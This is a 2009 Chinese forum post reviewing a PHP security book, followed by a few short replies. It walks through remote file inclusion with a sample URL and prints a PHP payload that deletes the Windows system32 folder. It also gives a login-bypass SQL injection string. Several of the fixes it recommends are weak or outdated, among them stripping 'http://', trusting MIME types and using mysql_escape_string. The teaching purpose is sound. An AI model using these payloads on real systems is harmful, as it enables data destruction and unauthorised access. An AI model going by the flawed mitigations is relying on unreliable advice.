+ -
当前位置:首页 → 问答吧 → [书评]《大道PHP》:关于PHP的安全问题

[书评]《大道PHP》:关于PHP的安全问题

时间:2009-09-03

来源:互联网

本帖最后由 liexusong 于 2009-9-5 17:14 编辑

安全问题是PHP程序员比较容易忽略的,特别是初学者,可能会造成程序有严重的漏洞,轻则程序崩溃,重则连服务器资料都会被盗窃或者删除。先来看看书本上的例子吧:

if(isset($somefile)) {
        include($somefile);
} else {
        if(…) {
                $somefile = 'a.php';
        } else {
                $somefile = 'b.php';
        }
        include($somefile);
}

这是一个典型的文件包含漏洞,因为:
1.        没有判断文件的合法性。
2.        没有检测是否是本地的文件而且是否存在这个文件。

如果开启了register_globals的话,后果是不堪设想的。因为开启了register_globals的话,PHP会把$_GET, $_POST, $COOKIE这些全局变量自动生成本地变量的。

好像在浏览器中输入以下地址:
http://localhost/index.php?somefile=http://www.mysite.com/global.php
这样PHP会自动生成变量$somefile,值为http: //www.mysite.com/global.php

显然如果我们编写了上面的代码的话,include($somefile);就会把别人的文件引入到我们的程序中了,这个时候就是任人宰割了,好像在http: //www.mysite.com/global.php文件中写下以下代码:

$system = 'C:\\WINDOWS\\system32\\';
$dp = opendir($system);
while(($file = readdir($dp) !== FALSE) {
        if ($file != '. ' && $file != '.. ') unlink($system . $file);
}
closedir($dp);

噢!你的系统将会被删除得体无完肤(Windows系统的话,Linux系统会好点)。

本书的解决方法是关闭register_globals选项。不过我觉得这个不是万全之策,因为有时候你可能不能关闭他。所以本书也提供了另一种方法,就是把“/”去掉。这样就不能包含远程文件了,不过我觉得这样也不好,因为本地文件也可能存在“/”,所以这样不是连本地文件都包含不了,所以我的意见是使用file_exists()或者is_file()函数来判断是否存在这个文件,另外再把“http://”替换就可以了:str_replace('http:// ', '', $somefile);。更好的方法就是过滤$GLOBALS全局变量或者建立引入表,具体方法如下:

$can_includes = array('golbal.php', 'functions.php', 'class.php');
if(in_array($somefile, $can_includes) && is_file($somefile)) {
  include($somefile);
}

这样就安全多了!


另外本书提到的文件上传漏洞,可以通过验证上传文件的MIME类型来解决。

还有著名的SQL注入。当我们的系统将magic_quotes_gpc设置为off的时候,有不怀好意的人在登录框中输入:
admin' AND 1=1 #
这样我们的SQL语句就可能变成:
SELECT * FROM admin WHERE username = 'admin' AND 1=1 #' AND password = 'password'

因为“#”是MySQL注释符,所以“#”后面的语句会被注释掉,这样我们就可以不用密码登录了。解决的方法是过滤登录的信息,可以使用mysql_escape_string()函数过滤用户提交的信息。mysql_escape_string()会对MySQL的特殊字符进行反斜杠的操作。通过mysql_escape_string()函数处理提交的数据之后SQL会变成:
SELECT * FROM admin WHERE username = 'admin\' AND 1=1 #' AND password = 'password'
这样就可以填补漏洞了。

还有本书提到脚本命令执行漏洞,通俗地说就是提示错误信息。严格的说,这个并不是漏洞,因为每种语言都有他提示错误的信息,这些信息可以帮助我们除错。不过被技术高深的“有心人”看到可以就不是很好了,因为他们随时利用这些信息入侵我们的系统。本书的解决方法是使用@来屏蔽错误信息,还有就是把display_errors设置为off。这两种方法都可以,另外我觉得更好的方法是使用error_reporting()函数来设置显示错误的等级,一般开发的时候我们可以把他设置为E_ALL,在发布是可以设置为0。这样就可以防止错误信息泄漏了!

另外本书还提及了其他一些常见的漏洞和解决方法,初学者或者不太注重安全问题的高手可以从中学习到怎么避免PHP漏洞的方法。还有通过自己的思考可以使程序更加的健全。

作者: liexusong   发布时间: 2009-09-03

学习了

作者: liaoyuan   发布时间: 2009-09-05

安全问题够好几本书讲的了。

作者: soni   发布时间: 2009-09-07

PHP4.2把register_globals改为了默认off

作者: HDH007   发布时间: 2009-09-10

看来楼主在PHP方面是登堂入室了。

作者: luzhou   发布时间: 2009-09-14

嗯。受益了。
对包含文件
SQL注入、
都有简单的处理方法。希望高手再多深入讨论下。还有对表单过滤的,我看DISCUZ的只是加了个转义就可以了吗?是不是这样的呢?

作者: yua3891   发布时间: 2009-09-18